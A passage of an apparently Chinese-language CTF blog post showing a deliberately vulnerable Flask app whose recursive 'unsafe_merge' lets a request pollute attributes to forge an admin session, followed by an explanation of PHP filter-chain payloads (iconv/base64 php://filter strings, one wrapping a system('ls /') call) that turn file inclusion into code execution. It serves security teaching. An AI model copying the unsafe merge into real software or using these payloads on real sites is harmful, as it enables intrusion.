style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    def</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __init__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">self</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">        self</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">theme </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">light</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">        self</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">language </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">zh_CN</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        </span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">current_profile </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> UserProfile</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> unsafe_merge</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> payload</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> key</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> value </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> payload</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">items</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> isinstance</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> dict</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> isinstance</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">value</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> dict</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> and</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> key </span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> target</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                unsafe_merge</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">key</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> value</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            else</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                target</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">key</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> value</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        elif</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> hasattr</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> key</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> isinstance</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">value</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> dict</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                unsafe_merge</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">getattr</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> key</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> value</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            else</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">                setattr</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> key</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> value</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">@</span><span style=\"color:#59873A;--shiki-dark:#80A665\">app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#59873A;--shiki-dark:#80A665\">route</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> methods</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">GET</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> index</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> not</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> session</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">role</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        session</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">role</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">guest</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    return</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> render_template_string</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">HTML_PAGE</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> role</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">session</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">role</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">@</span><span style=\"color:#59873A;--shiki-dark:#80A665\">app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#59873A;--shiki-dark:#80A665\">route</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/api/update_profile</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> methods</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">POST</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> update_profile</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    try</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        data </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get_json</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> not</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> data</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            return</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> jsonify</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">error</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Invalid JSON</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 400</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            </span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        unsafe_merge</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">current_profile</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> data</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> jsonify</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">            \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">msg</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Theme synced successfully</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">            \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">current_theme</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> current_profile</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">theme</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    except</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> Exception</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> as</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> e</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> jsonify</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">error</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> str</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">e</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 500</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">@</span><span style=\"color:#59873A;--shiki-dark:#80A665\">app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#59873A;--shiki-dark:#80A665\">route</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/get_flag</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> methods</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">GET</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> get_flag</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> session</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">role</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ==</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">admin</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> jsonify</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">flag</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">&#123;Th3m3_Sw1tch_L3ads_T0_R00t&#125;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    else</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> jsonify</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">error</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Access Denied. You are not admin!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 403</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __name__</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ==</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__main__</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">run</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">host</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">0.0.0.0</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> port</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">5000</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> debug</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">False</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p>这道题的思路是通过切换主题去尝试污染SECRET_KEY然后去伪造session，试试通过Get Secret Key拿到flag吧</p>\n<h1 id=\"filter-chain\"><a class=\"anchor\" href=\"#filter-chain\">#</a> filter-chain</h1>\n<p>这种利用姿势源自于漏洞CVE-2024-2961，本质上是实现从本地文件包含再到远程代码执行。</p>\n<p>参考：<a href=\"https://err0r233.github.io/posts/28510.html\">https://err0r233.github.io/posts/28510.html</a></p>\n<p><a href=\"https://cloud.tencent.com/developer/article/2287108\">https://cloud.tencent.com/developer/article/2287108</a></p>\n<h2 id=\"一些常见的filter过滤器\"><a class=\"anchor\" href=\"#一些常见的filter过滤器\">#</a> 一些常见的filter(过滤器)</h2>\n<p><code>convert.base64-encode</code>：执行base64加密处理</p>\n<p><code>convert.base64-decode</code>：执行base64解密</p>\n<p><code>string.lower</code>：将字符串转为小写</p>\n<p><code>string.upper</code>：将字符串转为大写</p>\n<p><code>convert.iconv.X.Y</code>：将字符串从X编码转换为Y编码形式</p>\n<p>部分过滤器在之前写文件包含的exit死亡绕过的时候就已经提到过了，这里提一点进阶的内容：</p>\n<p><code>convert.base664-decode</code>有一个极其宽容的特性，当对字符串进行base64解码操作的时候，遇到不属于base64<code>(a-z,A-Z,0-9,+/)</code>字母表的内容，就会直接无视并丢弃，比如：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>ZLA($@!RY*^Y66</span></span></code></pre>\n<p>对这串字符串进行base64解码操作之后再次base64编码得到的结果</p>\n<p><img loading=\"lazy\" src=\"/2026/04/02/flask%20session%E4%BC%AA%E9%80%A0%E4%B8%8Efilter-chain/9.png\" class=\"\"></p>\n<p>可以看到就是去除了特殊字符得到的结果</p>\n<p>其实真正构造出payload的部分是靠iconv过滤器，比如将字符串从UTF-8转换为CSISO2022KR:</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>php://filter/convert.iconv.UTF8.CSISO2022KR/resource=data://text/plain,ZLARYY66</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/02/flask%20session%E4%BC%AA%E9%80%A0%E4%B8%8Efilter-chain/10.png\" class=\"\"></p>\n<p>可以看到在我们的字符串前面加上了一个不可见字符和<code>$)C</code>，这样再经过一次base64解码和base64编码就会看到我们硬生生在字符串前面加上了一个字符C：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>php://filter/read=convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://text/plain,ZLARYY66</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/02/flask%20session%E4%BC%AA%E9%80%A0%E4%B8%8Efilter-chain/11.png\" class=\"\"></p>\n<p>同理，我们利用其他的iconv过滤器就能构造出其他的字符，而文件包含是可以配合上RCE的：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>php://filter/resource=data://text/plain,&#x3C;?php system('ls /');?></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/02/flask%20session%E4%BC%AA%E9%80%A0%E4%B8%8Efilter-chain/12.png\" class=\"\"></p>\n<p>那么我们就可以尝试通过过滤器链构造出一段php代码添加在最后查询的文件前面，比如：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" 